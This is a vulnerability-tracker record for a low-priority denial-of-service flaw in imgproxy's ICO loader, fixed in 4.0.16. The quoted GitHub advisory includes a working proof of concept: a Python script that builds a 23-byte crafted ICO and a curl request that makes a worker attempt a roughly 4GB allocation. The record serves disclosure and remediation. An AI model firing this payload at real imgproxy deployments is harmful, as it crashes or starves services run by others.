Read the docs
TI-2026-83450 Aliases GHSA-mmq5-xm89-9pfg

Unbounded memory allocation in imgproxy ICO loader

Priority LOW 38CWE-400Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Denial of service
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-400.

Summary

The imgproxy Go module github.com/imgproxy/imgproxy/v3 from 3.3.0 before 4.0.16 has an uncontrolled resource consumption flaw (CWE-400) in its ICO loader. The loader uses a size value from the file header to allocate memory without any bounds check. An unauthenticated remote attacker who can make imgproxy process attacker-supplied images can send a small crafted ICO file that triggers an allocation of about 4GB, exhausting memory or crashing the worker.

Written with Claude Haiku 5.5 from the sources below · 2026-10-30

Description from the GitHub advisory

### Summary Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15. ### Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation: ``` uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size); // BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually. VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN); ``` There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`. ### PoC ```py # make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger. # Byte-identical to the checksummed, production-verified file: # ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b import struct, hashlib hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1 entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16) data = b'\x00' blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b' open('ico-4gb.ico', 'wb').write(blob) print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]") ``` ``` # imgproxy v4.0.15 with local file sources enabled: # IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png" # → outcome depends on host memory: on a memory-constrained pod the worker # OOM-dies; on a larger host the ~4GB allocation succeeds transiently and # decode fails -> HTTP 500 (worker survives, but each request burns ~4GB # transiently — repeatable memory exhaustion). ``` ### Impact Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.

Why it matters now

Fix Fixed github.com/imgproxy/imgproxy/v3 (Go): 4.0.16

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—github.com/imgproxy/imgproxy/v3 (Go)3.3.0 to before 4.0.164.0.16Patch availableGHSA-mmq5-xm89-9pfg
  • github.com/imgproxy/imgproxy/v3 (Go) Vendor— Affected 3.3.0 to before 4.0.16 Fixed in 4.0.16 Patch available GHSA-mmq5-xm89-9pfg

Remediation

Update github.com/imgproxy/imgproxy/v3 to version 4.0.16, the fixed version listed for the affected range from 3.3.0 before 4.0.16.

Written with Claude Haiku 5.5 from the sources below · 2026-10-30

  • Fix · GHSA-mmq5-xm89-9pfg github.com/imgproxy/imgproxy/v3 (Go) Fixed in 4.0.16 Advisory →

Timeline

  1. 2026-10-30 Threatist record created from GHSA-mmq5-xm89-9pfg

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences